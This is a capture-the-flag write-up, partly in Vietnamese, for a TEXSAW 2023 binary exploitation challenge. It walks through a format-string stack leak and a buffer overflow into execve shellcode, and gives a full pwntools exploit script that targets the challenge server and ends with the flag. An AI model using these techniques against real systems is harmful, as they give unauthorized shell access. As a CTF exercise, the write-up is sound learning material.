# (writeup) TEXSAW 2023
## Gumbs Snotbottom (300 point)
- check file + checksec


- check ida



- NX tắt, hướng đi: ret2shellcode
- ta thấy đề sẽ input 64 byte và chỉ có 24 byte trong payload là sẽ được chuyển hoa --->thường
- offset:

>72
- ngay $rbp có luôn stack và trong hàm **to_lower** có printf() ---> fmtstr
- thấy stack ngay %11
- payload ta gửi 24 byte "A" và kế đó là %11$p, padding 72 byte r thực thi lại main
- nhưng dữ liệu leak ra ở bên kia là %10 nên chỉnh lại xíu

- khi ta thực thi lại hàm **main** thành công nhưng khi bước vào **input()** lần 2 để chèn shellcode thì bị lỗi xmm0


- ý tưởng sẽ nhảy lại hàm **main()+1** sau \<push>

- thành công bước vào lần gửi payload thứ 2, ta sẽ sử dụng tới stack ta leak được để trỏ vào shellcode
- thì payload ta phải tiếp tục chèn 24 byte "A" rồi tới shellcode, padding 72 byte rồi ret vào stack trỏ tới shellcode
> vì gửi shellcode luôn thì bị vướng 24 byte bắt buộc phải chuyển từ hoa sang thường, sợ dính phải byte kì dị như '\' trong shellcode
- ta có thể tính offset của stack ta leak ra được đến stack trỏ đến shellcode của ta

> 0x007ffdee6f8180 - 0x007ffdee6f8148
> 0x38


- remote thôi


- script:

#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./cs101-hw1',checksec=False)

#p = process(exe.path)
p = remote('18.216.238.24',1001)

# gdb.attach(p, gdbscript='''
# 	b*input+27
# 	b*input+32
# 	b*to_lower+106
# 	c
# 	''')
# input()

shellcode = asm(
    '''
    mov rbx, 29400045130965551
    push rbx

    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 0x3b
    syscall
    ''', arch='amd64')

payload = b'A'*24
payload += b'%10$p'
payload = payload.ljust(72,b'A')
payload += p64(exe.sym['main']+1)

p.sendlineafter(b'Text:\n',payload)

p.recvuntil(b'a'*24)
stack_leak = int(p.recv(14),16)
log.info("stack leak: " + hex(stack_leak))
ptr_shell = stack_leak - 0x38

payload = b'A'*24
payload += shellcode
payload = payload.ljust(72,b'A')
payload += p64(ptr_shell)

p.sendlineafter(b'Text:\n',payload)

p.interactive()

>texsaw{64_b1t_5He11CoD3_84bY}